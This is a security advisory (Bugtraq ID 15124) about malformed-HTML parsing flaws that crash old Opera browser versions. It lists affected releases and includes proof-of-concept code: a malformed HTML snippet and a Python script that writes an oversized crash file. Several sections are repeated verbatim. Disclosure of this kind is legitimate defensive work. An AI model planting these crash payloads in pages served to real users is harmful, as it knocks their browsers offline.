Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities
BID:15124
Info
Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities
| Bugtraq ID: | 15124 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 17 2005 12:00AM |
| Updated: | Dec 20 2006 10:38PM |
| Credit: | [email protected] discovered these issues. |
| Vulnerable: |
Opera Software Opera Web Browser 8.0 2 Opera Software Opera Web Browser 8.0 1 Opera Software Opera Web Browser 8.0 Opera Software Opera Web Browser 7.54 Opera Software Opera Web Browser 7.53 Opera Software Opera Web Browser 7.52 Opera Software Opera Web Browser 7.51 Opera Software Opera Web Browser 7.50 Opera Software Opera Web Browser 7.23 Opera Software Opera Web Browser 7.22 Opera Software Opera Web Browser 7.21 Opera Software Opera Web Browser 7.20 Beta 1 build 2981 Opera Software Opera Web Browser 7.20 Opera Software Opera Web Browser 7.11 j Opera Software Opera Web Browser 7.11 b Opera Software Opera Web Browser 7.11 Opera Software Opera Web Browser 7.10 Opera Software Opera Web Browser 7.0 win32 Beta 2 Opera Software Opera Web Browser 7.0 win32 Beta 1 Opera Software Opera Web Browser 7.0 win32 Opera Software Opera Web Browser 7.0 3win32 Opera Software Opera Web Browser 7.0 2win32 Opera Software Opera Web Browser 7.0 1win32 Opera Software Opera Web Browser 6.10 linux Opera Software Opera Web Browser 6.0.5 win32 Opera Software Opera Web Browser 6.0.4 win32 Opera Software Opera Web Browser 6.0.3 win32 Opera Software Opera Web Browser 6.0.3 linux Opera Software Opera Web Browser 6.0.2 win32 Opera Software Opera Web Browser 6.0.2 linux Opera Software Opera Web Browser 6.0.1 win32 Opera Software Opera Web Browser 6.0.1 linux Opera Software Opera Web Browser 6.0.1 Opera Software Opera Web Browser 6.0 win32 Opera Software Opera Web Browser 6.0 6 Opera Software Opera Web Browser 6.0 .6win32 Opera Software Opera Web Browser 6.0 Opera Software Opera Web Browser 5.12 win32 Opera Software Opera Web Browser 5.12 Opera Software Opera Web Browser 5.1 1 win32 Opera Software Opera Web Browser 5.1 0 win32 Opera Software Opera Web Browser 5.0 Linux Opera Software Opera Web Browser 5.0 2 win32 Opera Software Opera Web Browser 5.0 Mac Opera Software Opera Web Browser 8 Beta 3 |
| Not Vulnerable: | |
Discussion
Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities
The Opera Web browser is prone to multiple vulnerabilities that may result in a browser crash. These issues are exposed when the browser tries to parse certain malformed HTML content. Presumably, the issues will cause only a denial of service and are not further exploitable to execute arbitrary code, but this has not been confirmed.
The Opera Web browser is prone to multiple vulnerabilities that may result in a browser crash. These issues are exposed when the browser tries to parse certain malformed HTML content. Presumably, the issues will cause only a denial of service and are not further exploitable to execute arbitrary code, but this has not been confirmed.
Exploit / POC
Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities
The following examples will cause the browser to crash:
The first example is malformed HTML:
<html><head></head><body><bdo>A<bgsound style="margin:-99;">A<hr>A<hr></body></html>
The second example is python code to create malformed HTML:
html = open("opera.html", "w")
html.write("<html style=\"content: url(0);\">\n")
html.write("<head></head>\n")
buff1 = 'A'*32499
html.write("<bodyA>\n"+buff1+"\n")
buff2 = 'B'*153
html.write("<u "+buff2+">\n")
html.write("</body></html>")
html.close()
The following examples will cause the browser to crash:
The first example is malformed HTML:
<html><head></head><body><bdo>A<bgsound style="margin:-99;">A<hr>A<hr></body></html>
The second example is python code to create malformed HTML:
html = open("opera.html", "w")
html.write("<html style=\"content: url(0);\">\n")
html.write("<head></head>\n")
buff1 = 'A'*32499
html.write("<bodyA>\n"+buff1+"\n")
buff2 = 'B'*153
html.write("<u "+buff2+">\n")
html.write("</body></html>")
html.close()
Solution / Fix
Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities
Solution:
Reportedly, these issues have been addressed in Opera 9.0 Technology Preview 2. Symantec could not confirm this.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
Solution:
Reportedly, these issues have been addressed in Opera 9.0 Technology Preview 2. Symantec could not confirm this.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
References
Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities
References:
References: